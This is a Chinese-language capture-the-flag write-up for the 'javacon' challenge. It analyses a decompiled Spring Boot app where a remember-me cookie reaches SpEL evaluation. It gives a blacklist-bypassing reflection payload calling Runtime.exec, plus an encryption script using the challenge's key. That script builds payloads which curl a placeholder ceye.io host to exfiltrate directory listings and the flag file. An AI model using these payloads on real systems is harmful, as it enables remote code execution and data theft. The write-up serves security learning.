Fork me on GitHub

代码审计知识星球二周年——javacon

源代码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

解题步骤

将下载下来的jar包放到jd-gui中,查看源代码。


源码分析

  • META-INF文件夹中放的是:目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务manifest.mf(包含了jar文件的内容描述,在应用程序运行时向JVM提供应用程序的信息)文件,在用jar打包时自动生成
  • org.springframework.boot.loader提供一系列的依赖包
  • BOOT-INF/templates里面是前端界面
  • application.yml这个文件是一个黑名单,一个用户账号密码及Remember me这个功能用到的key。
  • SmallEvaluationContext继承 StandardEvaluationContext,相当于一个容器。
  • ChallengeApplication 用于启动
  • EncryptorRemember me这个功能用到的加密解密工具。
  • KeyworkProperties 对前面提到的黑名单的调用
  • UserConfig 用户模型,在RemberMe时使用了Encryptor

MainController主要分析一下

  • login()判断用户名密码,如果勾选了remberMe,浏览器存入加密后的cookie。
    然后跳转到hello.html
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    @PostMapping({"/login"})
    public String login(@RequestParam(value="username", required=true) String username, @RequestParam(value="password", required=true) String password, @RequestParam(value="remember-me", required=false) String isRemember, HttpSession session, HttpServletResponse response)
    {
    if ((this.userConfig.getUsername().contentEquals(username)) && (this.userConfig.getPassword().contentEquals(password)))
    {
    session.setAttribute("username", username);
    if ((isRemember != null) && (!isRemember.equals("")))
    {
    Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
    c.setMaxAge(2592000);
    response.addCookie(c);
    }
    return "redirect:/";
    }
    return "redirect:/login-error";
    }

  • admin()对跳转之后的cookie做处理,判断rememberMeValue存在后,直接对其进行解密。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    @GetMapping
    public String admin(@CookieValue(value="remember-me", required=false) String rememberMeValue, HttpSession session, Model model)
    {
    if ((rememberMeValue != null) && (!rememberMeValue.equals("")))
    {
    String username = this.userConfig.decryptRememberMe(rememberMeValue);
    if (username != null) {
    session.setAttribute("username", username);
    }
    }
    Object username = session.getAttribute("username");
    if ((username == null) || (username.toString().equals(""))) {
    return "redirect:/login";
    }
    model.addAttribute("name", getAdvanceValue(username.toString()));
    return "hello";
    }

解密之后跟黑名单做比较,如果匹配成功则抛出HttpStatus.FORBIDDEN,如果没有匹配到则进行正常流程,在SmallEvaluationContext文件中进行SpEL表达式解析,关于SPEL表达式注入可以参考这篇文章。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private String getAdvanceValue(String val)
{
for (String keyword : this.keyworkProperties.getBlacklist())
{
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
Object parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, (ParserContext)parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
}

  • 因为使用了黑名单,可以使用字符串拼接+反射来构造一条pop链来绕过

    1
    String.class.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('exec',String.class).invoke(String.class.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(String.class.getClass().forName('java.la'+'ng.Ru'+'ntime')),'curl http://xxxxx.ceye.io');
  • 因为RememberMe这个功能得到的数据需要是spel格式且加密过的,所以payload需要加密一下。

加密脚本

  • 还需导入这几个jar包(将题目给的Jar包解压,在lib目录下)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import javax.crypto.spec.IvParameterSpec;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.slf4j.LoggerFactory;

class Encryptor
{
static org.slf4j.Logger logger = LoggerFactory.getLogger(Encryptor.class);

public static String encrypt(String key, String initVector, String value)
{
try
{
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);

byte[] encrypted = cipher.doFinal(value.getBytes());

return Base64.getUrlEncoder().encodeToString(encrypted);
}
catch (Exception ex)
{
logger.warn(ex.getMessage());
}
return null;
}
}
public class Encry{
public static void main(String[] args) {
//查看目录
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl xxxxx.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"`'})}"));
//读取flag文件
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl xxxxx.ceye.io/`cat flag_j4v4_chun|base64`'})}"));

}
}
  • 读取根目录文件

  • 查看flag


参考文献:http://rui0.cn/archives/1015

-------------本文结束感谢您的阅读-------------